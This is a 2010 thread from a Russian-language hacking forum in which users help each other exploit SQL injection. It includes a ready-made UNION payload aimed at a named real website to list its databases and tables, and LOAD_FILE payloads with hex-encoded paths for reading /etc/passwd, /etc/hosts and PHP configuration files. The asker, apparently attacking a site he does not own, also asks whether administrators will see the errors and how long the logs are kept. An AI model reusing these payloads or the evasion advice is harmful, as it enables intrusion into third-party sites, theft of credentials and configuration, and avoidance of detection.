ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

25.05.2010, 23:01
|
|
Участник форума
Регистрация: 06.02.2008
Сообщений: 110
Провел на форуме: 217423
Репутация:
32
|
|
Сообщение от EoGeneo
Хотел бы узнать любую инфу по чтению файлов через sql-inj. кто может просвятить?
В этой статье есть самое необходимое:
https://forum.antichat.ru/threadnav43966-1-10.html
ну и тут немного:
https://forum.antichat.ru/thread104591.html
|
|
|

26.05.2010, 00:09
|
|
Постоянный
Регистрация: 15.03.2008
Сообщений: 441
Провел на форуме: 2052341
Репутация:
95
|
|
есть несколько баз. (5 ветка)
есть офигеть, сколько полей и столбцов.
выбрал одно поле и вывел оттуда все названия столбцов.
А теперь как узнать какое поле к какой БД принадлежит. ?
Возможно это без тупого перебора?))
|
|
|

26.05.2010, 00:28
|
|
Участник форума
Регистрация: 18.07.2009
Сообщений: 272
Провел на форуме: 2083691
Репутация:
330
|
|
Сообщение от jecka3000
есть несколько баз. (5 ветка)
есть офигеть, сколько полей и столбцов.
выбрал одно поле и вывел оттуда все названия столбцов.
А теперь как узнать какое поле к какой БД принадлежит. ?
Возможно это без тупого перебора?))
Используй table_schema.
Взял для примера скуль с соседней темы и добавил туда табл схему:
http://www.ry7.ru/index.php?s=-58+union+select+group_concat(0x0b,TABLE_NAME,0x3a, table_schema)+from+information_schema.tables--
Теперь будет выводится и название БД, к которой эта таблица относится. Так же точно и с колонками.
Последний раз редактировалось Ins3t; 26.05.2010 в 00:33..
|
|
|

26.05.2010, 00:22
|
|
Участник форума
Регистрация: 30.03.2008
Сообщений: 208
Провел на форуме: 869744
Репутация:
18
|
|
jecka3000 Без лимита нереально...
А теперь как узнать какое поле к какой БД принадлежит. ?
тут все поля к одной и той же БД
|
|
|

26.05.2010, 11:41
|
|
Новичок
Регистрация: 03.07.2009
Сообщений: 11
Провел на форуме: 51296
Репутация:
0
|
|
не могу считывать файлы, подскажите
права вроде есть
root'@'localhost' | FILE | YES
USER() - возвращает что я под root@localhost
VERSION() - 5.0.51a-3ubuntu5.5
кавычки фильтруются по этому кодирую
к примеру
etc/passwd >>> 0x6574632f706173737764
делаю такую вот инъекцию
... where 1=2 union select LOAD_FILE(0x6574632f706173737764),2,3,4,5,6,7,8 limit 0,100#
но в результате приходит пустая строка.
файл пытаюсь открыть по пути который мне возвращается в ошибке, типа:
/usr/local/nginx/....../index.php
что я делаю не так?
|
|
|

26.05.2010, 11:54
|
|
Moderator - Level 7
Регистрация: 19.12.2008
Сообщений: 1,203
Провел на форуме: 5011696
Репутация:
2221
|
|
Сообщение от zuzzz
не могу считывать файлы, подскажите
права вроде есть
root'@'localhost' | FILE | YES
USER() - возвращает что я под root@localhost
VERSION() - 5.0.51a-3ubuntu5.5
кавычки фильтруются по этому кодирую
к примеру
etc/passwd >>> 0x6574632f706173737764
делаю такую вот инъекцию
... where 1=2 union select LOAD_FILE(0x6574632f706173737764),2,3,4,5,6,7,8 limit 0,100#
но в результате приходит пустая строка.
файл пытаюсь открыть по пути который мне возвращается в ошибке, типа:
/usr/local/nginx/....../index.php
что я делаю не так?
Вообще то не всегда на /etc/passwd есть права ога?
ВО вторых читай index.php лучше, там доберёшься до конфигов.
|
|
|

26.05.2010, 11:56
|
|
Познающий
Регистрация: 16.04.2008
Сообщений: 88
Провел на форуме: 264305
Репутация:
30
|
|
1. /etc/passwd
2.
Код:
...where 1=2 union select LOAD_FILE(0x6574632f706173737764),2,3,4,5,6,7,8 limit 0,100#
выглядит странновато как-то
по
Код:
...where 1=2 union select 123123123,2,3,4,5,6,7,8 limit 0,100#
выводит 123123123 ?
|
|
|

26.05.2010, 12:50
|
|
Новичок
Регистрация: 03.07.2009
Сообщений: 11
Провел на форуме: 51296
Репутация:
0
|
|
Сообщение от Ctacok
Вообще то не всегда на /etc/passwd есть права ога?
ВО вторых читай index.php лучше, там доберёшься до конфигов.
ну мне /etc/passwd и не нужен, это я для примера привёл, т.к. путь короткий, хотя тоже ни чего не возвращает
мне нужен именно php файл
в результате ошибки возвращается такой текс
mysql_fetch_array(): supplied argument is not a valid MySQL result resource in ] mysql_fetch_array(): supplied argument is not a valid MySQL result resource in
/usr/local/nginx/html/..путь до файла .php
Сообщение от DrakonHaSh
1. /etc/passwd
2.
Код:
...where 1=2 union select LOAD_FILE(0x6574632f706173737764),2,3,4,5,6,7,8 limit 0,100#
выглядит странновато как-то
по
Код:
...where 1=2 union select 123123123,2,3,4,5,6,7,8 limit 0,100#
выводит 123123123 ?
да
и еще вопрос.. ошибки sql куда нибудь логируются? админ потом все тексты ошибочных sql увидит, или только сам факт ошибки
|
|
|

26.05.2010, 13:33
|
|
Участник форума
Регистрация: 06.02.2008
Сообщений: 110
Провел на форуме: 217423
Репутация:
32
|
|
zuzzz:
1. надо указывать не etc/passwd, а /etc/passwd, следовательно твой запрос принимает следующий вид
Код:
where 1=2 union select LOAD_FILE(0x2f6574632f706173737764),2,3,4,5,6,7,8 limit 0,100#
вряд ли это тебе поможет, так как ты пробовал другие пути (/usr/local/nginx/....../index.php), но на будущее
2. у меня вопрос: зачем ты при запросе с LOAD_FILE используешь limit ..,..?
3. если тебе возвращается пустая строка, то либо у тебя нет прав на чтение, либо такой файл не существует. Попробуй системные файлы такие как: /etc/hosts, /etc/issue, а также другие скрипты твоего сайта, полный путь к которым ты знаешь.
4. насчет логирования sql ошибок не скажу, но если ты юзаешь GET-запросы, то в error.log и access.log будет все видно
|
|
|

26.05.2010, 13:58
|
|
Новичок
Регистрация: 03.07.2009
Сообщений: 11
Провел на форуме: 51296
Репутация:
0
|
|
mr.celt:
1) спасиб, запомню
2) лимит всегда ставлю, на всякий случай, чтобы по ошибке слишком много данных не получить
он тут не помеха
3) получилось вытащить файл /etc/hosts )
а этот /etc/issue не сумел....
значить права есть
4) запросы post. Это что то меняет?
и как долго данные в error.log и access.log хранятся?
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|